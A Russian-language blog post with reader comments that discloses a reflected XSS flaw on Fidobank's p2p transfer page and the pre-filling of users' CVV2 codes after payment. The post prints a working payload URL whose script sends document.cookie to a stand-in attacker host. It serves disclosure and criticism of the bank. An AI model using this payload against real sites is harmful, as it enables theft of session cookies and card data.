Банальная XSS уязвимость на странице p2p переводов Фидобанка, позволяющая украсть cvv2 код пользователя

    Если вы новый, перспективный, современный банк, который хочет идти в ногу с быстро меняющимся миром технологий, тогда вы должны уделять должное внимание безопасности своих сервисов. И внимание это заключается также в следовании требованиям международных платежных систем.

    К сожалению, не все банки это понимают.

    Однажды пришлось мне воспользоваться услугой мгновенного перевода с карты на карту, для этой цели я решил воспользоваться сервисом одного из украинских банков, а именно «Фидобанка».
    После осуществления платежа меня переадресовало на страницу вида pay.fidobank.ua/TransCard/pay?SenderTransID=TS1421332314712
    Я решил проверить, фильтруется ли значение параметра SenderTransID, которое выводилось на странице.

    Естественно, как оказалось, оно не фильтровалось и давало возможность эксплуатации XSS уязвимости. Я составил url, при переходе на который все куки отправлялись на фейковый псевдозловредный сайт someveryverydangeroussite.com. URL выглядел следующим образом:

    https://pay.fidobank.ua/TransCard/pay?SenderTransID=<form method=get name=a action=https://someveryverydangeroussite.com><input name=b></form><script>document.a.b.value=document.cookie;alert(document.a.b.value);document.a.submit();</script>
    

    Переход по этой ссылке показывал следующее сообщение:



    Все бы ничего, если бы разработчики ещё больше на облегчили работу по эксплуатации уязвимости, сохраняя cvv2 код в поле для его ввода даже после проведения платежа.

    Упс:



    Таким образом, злоумышленник, обратившись к жертве и узнав номер её карты, может получить cvv2 код её карты, если жертва недавно делала перевод. Останется только подобрать срок действия.

    Кстати, если бы этот банк проходил PCI DSS сертификацию, он бы не получил сертификат, так как хранить cvv2 каким-либо образом на сервере строго запрещено платежными системами Visa и MasterCard.

    Естественно, я написал письмо в службу безопасности, но, видимо, её сотрудники были так заняты получением грамоты за борьбу с киберприступностью, что в течении двух недель не нашли время ответить на моё письмо и исправить найденную уязвимость.
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 19
    • +2
      Таким образом, злоумышленник, обратившись к жертве и узнав номер её карты, может получить cvv2 код её карты, если жертва недавно делала перевод

      А чего бы ему и CVV2 и срок действия сразу у жертвы не узнать?
      • +1
        Вы правы, можно сформировать урл таким образом, что при нажатии на кнопку отправки перевода, данные карты отправлялись на сторонний сайт. Но если это по какой-то причине не удастся сделать злоумышленнику, украсть cvv2 ему будет проще
      • +4
        Если XSS еще можно понять и простить — банк же, ожидаемо что там сидят студенты не слыхавшие ни о HttpOnly ни о Secure флагах для куки.
        Но хранить CVV совсем уж фейл и выход из профессии.
        • +2
          Вспомнил период моего обучения, когда я обучения ради писал интернет-магазин, и прикручивал к нему PayPal. Тимлид тогда мне сказал сразу: «только не вздумай хранить какие-либо данные карты у себя в базе, если не хочешь сесть. Последних 4 цифры номера карты — и то, если тебе это уж прям необходимо».
          • –1
            — прикручивал к нему PayPal.

            какие карты в paypal транзакциях? только email.
            • 0
              Как это какие карты? Мне лень сейчас искать, но я точно знаю что там юзются и карты, ещё помню как зендовскую валидацию прикручивал для формы оплаты.
            • 0
              Несколько лет назад эквайринг мастер-банка после оплаты пользователем присылал магазину первые 4 цифры номера карточки, последние 4 цифры номера карточки и… md5 от номера карточки. Даже без соли.
              Пришлось удостовериться, что ответы не попадают случайно ни в какие логи на сервере.
          • 0
            То что поле cvv заполняется — не значит, что значение хранится на сервере. Можно использовать localStorage, например.
            • 0
              К сожалению не могу сейчас проверить, сервер возвращает 500-ю
              • +2
                >localStorage
                >украинский банк

                Нет, там в сессии, которая на сервере.
              • +1
                CVV там судя по всему хранится в сессии, заполнил данные, ввел CVV 123, отправил. В другом окне открыл ссылку — CVV заполненый остался, при чем не из localStorage, а прямо HTML прописан. Открыл ссылку в приватной вкладке (или в другом браузере) CVV уже не заполнен.
                • +17
                  Хех, меня банк по IP забанил, 500-ю возвращает, через hidemyass.com сайт грузится нормально
                  • +10
                    Суровые реалии банковской службы безопасности…
                    • +21
                      Хакер заблокирован, клиенты в безопасности. Все ок!
                      • +3
                        Самое страшное, что скорее всего именно так они и думают.
                    • +4
                      А вдруг еще что-то найдете?
                    • 0
                      Проверил конфигурацию HTTPS. ВНЕЗАПНО, рейтинг А!

                      www.ssllabs.com/ssltest/analyze.html?d=pay.fidobank.ua

                      sslcheck.globalsign.com/ru/sslcheck?host=pay.fidobank.ua#91.208.52.155-srv-reg-cert-ssl-misc

                      Даже HSTS и SPDY в наличии. Во дают!

                      Список несущественных проблем:
                      — Сертификат SHA1
                      — Не включено OCSP-сшивание (механизм получения состояния сертификата от самого сайта, а не CA)
                      — Сервер отдаёт предпочтение шифрам на основе длины AES, а не его режима. В результате браузеры, которые не поддерживают 256-битный AEAD GCM (а это все, кроме Android 4.4 и Internet Explorer на Windows 8 / 10), используют 256-битный CBC + MAC, что признано «устаревшей технологией». Сервер должен в первую очередь отдавать предпочтение всем шифрам AEAD GCM.
                      habrastorage.org/files/65a/b83/603/65ab8360302b4738be7a74db84d8e5cf.png
                      • +1
                        Этой частью скорее всего занимался уже кто-то более квалифицированный.
                      • +1
                        Странно, что в комментах не упомянули Мицгола.

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое